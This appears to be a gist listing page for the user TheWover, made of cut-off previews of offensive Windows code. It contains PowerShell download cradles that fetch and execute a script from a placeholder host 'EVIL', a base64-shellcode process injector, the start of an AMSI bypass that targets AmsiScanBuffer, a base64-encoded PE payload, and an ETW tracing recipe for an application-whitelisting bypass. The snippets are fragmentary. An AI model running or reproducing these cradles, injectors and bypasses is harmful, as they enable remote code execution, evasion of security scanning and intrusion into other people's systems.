TheWover

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

TheWover

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

TheWover

/*  Author: TheWover
    Description: Injects embedded base64-encoded shellcode into an arbitrary hardcoded process using native Windows 32 API calls.

    Last Modified: 11/1/2018
 */
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace ShellcodeTest

TheWover

/*  Author: TheWover
    Description: Injects embedded base64-encoded shellcode into an arbitrary hardcoded process using native Windows 32 API calls.

    Last Modified: 11/1/2018
 */
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace ShellcodeTest

TheWover

// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <string>

std::string test = "not Loaded";

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )

TheWover

// TestLoad.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include "pch.h"
#include <iostream>

#include <windows.h>

typedef bool(*testFunction)();

TheWover

public static string run()
{
    IntPtr dllHandle = LoadLibrary("amsi.dll"); //load the amsi.dll
    if (dllHandle == null) return "error";
 
    //Get the AmsiScanBuffer function address
    IntPtr AmsiScanbufferAddr = GetProcAddress(dllHandle, "AmsiScanBuffer");
    if (AmsiScanbufferAddr == null) return "error";
 
 

TheWover

$payload = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAP7dKbEAAAAAAAAAAOAAIiALATAAAA4AAAAGAAAAAAAA2i0AAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAIctAABPAAAAAEAAAKgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAADILAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA4A0AAAAgAAAADgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAKgDAAAAQAAAAAQAAAAQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAC7LQAAAAAAAEgAAAACAAUAVCMAAHQJAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABswBADaAAAAAQAAEQJzDwAACgpzEAAACgsHF3MRAAAKDAYIbxIAAAoIbxMAAApzFAAACg0JCW8VAAAKCW8WAAAKbxcAAAoTBHMQAAAKEwURBREEF3MYAAAKEwYRBgdvGQAAChYHbxkAAAqOaW8aAAAKEQZvGwAAChEFbxkAAAooHAAACglvFQAACigcAAAKCW8WAAAKKBwAAApzAwAABhMH3kARBiwH

TheWover

using System;
using System.Management.Automation;
using System.Collections.ObjectModel;

static void Main(string[] args)
        {

        //Using this class: https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.powershell?view=powershellsdk-1.1.0
        using (PowerShell PowerShellInstance = PowerShell.Create())
                    {

TheWover

logman --% start dotNetTrace -p Microsoft-Windows-DotNETRuntime (JitKeyword,NGenKeyword,InteropKeyword,LoaderKeyword) win:Informational -o dotNetTrace.etl -ets

# Do your evil .NET thing now. In this example, I executed the Microsoft.Workflow.Compiler.exe bypass

# logman stop dotNetTrace -ets

# This is the process ID of the process I want to capture. In this case, Microsoft.Workflow.Compiler.exe
# I got the process ID by running a procmon trace
$TargetProcessId = 8256